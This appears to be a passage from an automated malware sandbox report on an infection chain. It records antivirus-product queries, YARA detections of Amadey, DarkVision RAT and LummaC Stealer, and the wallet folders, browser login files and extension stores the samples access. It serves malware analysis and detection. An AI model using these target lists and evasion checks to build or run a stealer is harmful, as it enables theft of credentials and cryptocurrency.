Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10192270101\dx3hXS1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10192270101\dx3hXS1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\wscript.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\pack82.vbe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Code function: 11_2_002493A7 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

11_2_002493A7

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe

Code function: 11_2_002261F0 RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegOpenKeyExA,RegEnumValueA,DeleteObject,DeleteObject,DeleteObject,LookupAccountNameA,

11_2_002261F0

Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: s7MG2VL.exe, 0000000C.00000003.2006495167.0000000001384000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2006592567.000000000140B000.00000004.00000020.00020000.00000000.sdmp, s7MG2VL.exe, 0000000C.00000003.2028143185.00000000013DB000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000002.2470317252.000000000105B000.00000004.00000020.00020000.00000000.sdmp, ZqkKpwG.exe, 00000011.00000003.2049616075.000000000105D000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2164345206.00000000015B2000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2214314063.00000000014ED000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000002.2233517989.0000000001509000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2165401889.00000000015B3000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2145347035.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, eAzoDbY.exe, 00000019.00000003.2214314063.0000000001509000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: ZqkKpwG.exe, 00000011.00000002.2473186229.00000000010F2000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000002.2469842738.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2294291516.0000000000B52000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2273266758.0000000000B4F000.00000004.00000020.00020000.00000000.sdmp, yo7qmvz.exe, 00000023.00000003.2268488347.0000000000B4D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 11.2.rapes.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.13s1HMkHKv.exe.a40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rapes.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rapes.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1266514331.0000000000221000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2465023881.0000000000221000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1263210409.0000000000221000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1235519901.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected DarkVision Rat

Source: Yara match	File source: 28.2.8sb9w_003.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.svchost.exe.1dbe2750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.8sb9w_003.exe.83afc8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.2039011701.0000000000434000.00000002.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2469971107.000001DBE2788000.00000002.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2039794527.0000000000836000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8sb9w_003.exe PID: 4840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4260, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: s7MG2VL.exe PID: 8140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ZqkKpwG.exe PID: 6364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: eAzoDbY.exe PID: 4224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yo7qmvz.exe PID: 2828, type: MEMORYSTR
Source: Yara match	File source: 35.2.yo7qmvz.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.ZqkKpwG.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.yo7qmvz.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.ZqkKpwG.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.1977980793.00000000028A6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2466972573.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2101604103.000000000096D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2464880646.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: s7MG2VL.exe, 0000000C.00000003.1981626588.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: s7MG2VL.exe, 0000000C.00000003.1981626588.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: s7MG2VL.exe, 0000000C.00000003.1981626588.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: s7MG2VL.exe, 0000000C.00000003.1981626588.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: s7MG2VL.exe, 0000000C.00000003.1981626588.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: s7MG2VL.exe, 0000000C.00000003.1981626588.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: s7MG2VL.exe, 0000000C.00000003.2090607311.0000000001363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: s7MG2VL.exe, 0000000C.00000003.1981626588.0000000001384000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: s7MG2VL.exe, 0000000C.00000003.1982341555.0000000001379000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: s7MG2VL.exe, 0000000C.00000003.1982341555.000000000135D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
